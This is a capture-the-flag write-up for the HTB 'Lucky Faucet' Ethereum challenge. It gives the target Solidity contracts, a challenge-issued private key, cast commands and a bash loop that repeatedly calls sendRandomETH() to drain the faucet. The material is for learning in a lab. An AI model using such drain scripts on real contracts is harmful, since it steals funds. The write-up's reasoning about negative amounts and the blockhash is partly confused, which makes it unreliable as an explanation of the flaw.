HTB Writeups
  • HTB Writeups
  • Boxes: Very Easy
    • Academy
    • Archetype
    • Arctic
    • Base
    • Bike
    • Blue
    • Explosion
    • Included
    • Markup
    • Oopsie
    • Redeemer
    • Responder
    • Shield
    • Unified
    • Vaccine
  • Boxes: Easy
    • Analytics
    • Armageddon
    • Bashed
    • Beep
    • Blocky
    • Bounty Hunter
    • Buff
    • Cap
    • CozyHosting
    • Devel
    • Explore
    • Forest
    • Grandpa
    • Granny
    • Horizontall
    • Jerry
    • Keeper
    • Knife
    • Lame
    • Late
    • Legacy
    • Mirai
    • Netmon
    • Nibbles
    • Optimum
    • Paper
    • Photobomb
    • Precious
    • RedPanda
    • Return
    • Sau
    • ScriptKiddie
    • Sense
    • Servmon
    • Shocker
    • Shoppy
    • Squashed
    • Trick
  • Boxes: Medium
    • Poison
  • Challenges
    • Behind the Scenes
    • Canvas
    • Debugging Interface
    • Digital Cube
    • Easy Phish
    • Find the Easy Pass
    • Forest
    • Infiltration
    • misDIRection
    • Pusheen Loves Graphs
    • Retro
    • Signals
    • The Secret of a Queen
    • Wrong Spooky Season
  • Fortresses
  • Cyber Apocalypse 2023: The Cursed Mission
    • The Cursed Mission
    • Alien Cradle
    • Critical Flight
    • Debug
    • Extraterrestrial Persistence
    • Getting Started
    • Needle in the Haystack
    • Orbital
    • Packet Cyclone
    • Passman
    • Perfect Sync
    • Persistence
    • Plaintext Tleasure
    • Questionnaire
    • Reconfiguration
    • Relic Maps
    • Roten
    • Secret Code
    • Shattered Tablet
    • Small StEps
  • Hack the Boo 2023
    • Hauntmart
    • Spellbrewery
    • Trick or Treat
    • Valhalloween
  • Cyber Apocalypse 2024: Hacker Royale
    • Hacker Royale
    • An Unusual Sighting
    • BoxCutter
    • BunnyPass
    • Character
    • Data Siege
    • Delulu
    • Dynastic
    • Fake Boost
    • Flag Command
    • Game Invitation
    • It has begun
    • KORP Terminal
    • Labyrinth Linguist
    • LockTalk
    • Lucky Faucet
    • Makeshift
    • Maze
    • Packed Away
    • Phreaky
    • Primary Knowledge
    • Pursue the Tracks
    • Rids
    • Russian Roulette
    • Stop Drop and Roll
    • Testimonial
    • TimeKORP
    • Unbreakable
    • Urgent
  • CYBER APOCALYPSE 2025: Tales from Eldoria
    • Tales from Eldoria
    • A New Hire
    • Cave Expedition
    • Echoes in Stone
    • Eldorion
    • Embassy
    • EncryptedScroll
    • HeliosDEX
    • Quack Quack
    • Silent Trap
    • Stealth Invasion
    • Tales for the Brave
    • The Ancient Citadel
    • The Hillside Haven
    • The Stone That Whispers
    • Thorins Amulet
    • ToolPie
    • Traces
    • Trial by Fire
    • Whispers of the Moonbeam
Powered by GitBook
On this page
  1. Cyber Apocalypse 2024: Hacker Royale

Lucky Faucet

Personal Rating: Medium

This challenge is about another Ethereum smart contract.

Private key     :  0x98232553931a8017da5506efcb6e19783fcb4eb567f5669a63f799212242a462
Address         :  0x1051eb53BCBcceB0bf037791592720051C9A3a5E
Target contract :  0xA2CF6183f3482bd338E4912338b3bdcfCBf868aC
Setup contract  :  0x94D9eFd7E2C92648aF0787218A6948119b8C1d90
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.6;

import {LuckyFaucet} from "./LuckyFaucet.sol";

contract Setup {
    LuckyFaucet public immutable TARGET;

    uint256 constant INITIAL_BALANCE = 500 ether;

    constructor() payable {
        TARGET = new LuckyFaucet{value: INITIAL_BALANCE}();
    }

    function isSolved() public view returns (bool) {
        return address(TARGET).balance <= INITIAL_BALANCE - 10 ether;
    }
}

We can see that the initial account balance is 500 ether and the win condition that is checked by the isSolved() function requires the balance to be 490 or lower. This means that we have to send a negative amount to the wallet. Lets look at the contract:

// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;

contract LuckyFaucet {
    int64 public upperBound;
    int64 public lowerBound;

    constructor() payable {
        // start with 50M-100M wei Range until player changes it
        upperBound = 100_000_000;
        lowerBound =  50_000_000;
    }

    function setBounds(int64 _newLowerBound, int64 _newUpperBound) public {
        require(_newUpperBound <= 100_000_000, "100M wei is the max upperBound sry");
        require(_newLowerBound <=  50_000_000,  "50M wei is the max lowerBound sry");
        require(_newLowerBound <= _newUpperBound);
        // why? because if you don't need this much, pls lower the upper bound :)
        // we don't have infinite money glitch.
        upperBound = _newUpperBound;
        lowerBound = _newLowerBound;
    }

    function sendRandomETH() public returns (bool, uint64) {
        int256 randomInt = int256(blockhash(block.number - 1)); // "but it's not actually random 🤓"
        // we can safely cast to uint64 since we'll never 
        // have to worry about sending more than 2**64 - 1 wei 
        uint64 amountToSend = uint64(randomInt % (upperBound - lowerBound + 1) + lowerBound); 
        bool sent = msg.sender.send(amountToSend);
        return (sent, amountToSend);
    }
}

Okay this looks a bit daunting at first, but we will figure this out.

With cast block -r http://<IP>:<PORT> we can get some more infos:

baseFeePerGas        0
difficulty           0
extraData            0x
gasLimit             30000000
gasUsed              317408
hash                 0xbbbd6d33cdbf7ce2e00e29032a9b00495767bab435e446b360a80813f5f6ea35
logsBloom            0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
miner                0x0000000000000000000000000000000000000000
mixHash              0x0000000000000000000000000000000000000000000000000000000000000000
nonce                0x0000000000000000
number               1
parentHash           0xf22e4d86df5cd309ca60347b840adbfa28dacfc1680ca24bd796d75f0684004c
transactionsRoot     0xe2686db1ee986ba7e9ff7076efaa5004a820a66208e19047a2dec7743b7a2c9d
receiptsRoot         0xd1c7233d5e283154337cce910416de4e8977223bd83fee48b1b316caff5404a0
sealFields           []
sha3Uncles           0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347
size                 1730
stateRoot            0x7d4b16bebf333e057e5d9b14aee9a7fb5c6727e875f62e77f394acecd351dba8
timestamp            1710412788
withdrawalsRoot      
totalDifficulty      0
transactions:        [
	0x7d768e3802f532376e2c6aa39fe01be0bd9480be7c657b60a8273fc6be807f05
]

Our target is to set a negative value for amountToSend (-10 or less) to satisfy the win condition in Setup.sol

To realize this, we have this equation:

-10 = uint64(int256(blockhash(block.number - 1)) % (upperBound - lowerBound + 1) + lowerBound);

Through the setBounds function we control int64 _newLowerBound and int64 _newUpperBound

First we have to find out what int256(blockhash(block.number - 1)) is. Through the cast block command above we could determine the block number to be 1.

So we have int256(blockhash(1 - 1)) which should be 0

This gives us:

-10 = uint64(0 % (upperBound - lowerBound + 1) + lowerBound);

This should just be lowerbound. Maybe we can just set the lowerBound to a negative number and the upperBound to anything.

-> This did not work as the resulting value is unsigned and thus cannot be negative.

cast send --private-key 0x98232553931a8017da5506efcb6e19783fcb4eb567f5669a63f799212242a462 0xA2CF6183f3482bd338E4912338b3bdcfCBf868aC -r "http://94.237.54.161:50890" "setBounds(int64, int64)" 0 0

What worked in the end was to just call the sendRandomETH() very often to reduce the account balance. This is the script I used for it:

#!/bin/bash

for ((i=1; i<=1000; i++)); do
cast send --private-key 0x98232553931a8017da5506efcb6e19783fcb4eb567f5669a63f799212242a462 0xA2CF6183f3482bd338E4912338b3bdcfCBf868aC -r "http://94.237.54.161:50890" "sendRandomETH()"
done
PreviousLockTalkNextMakeshift

Last updated 1 year ago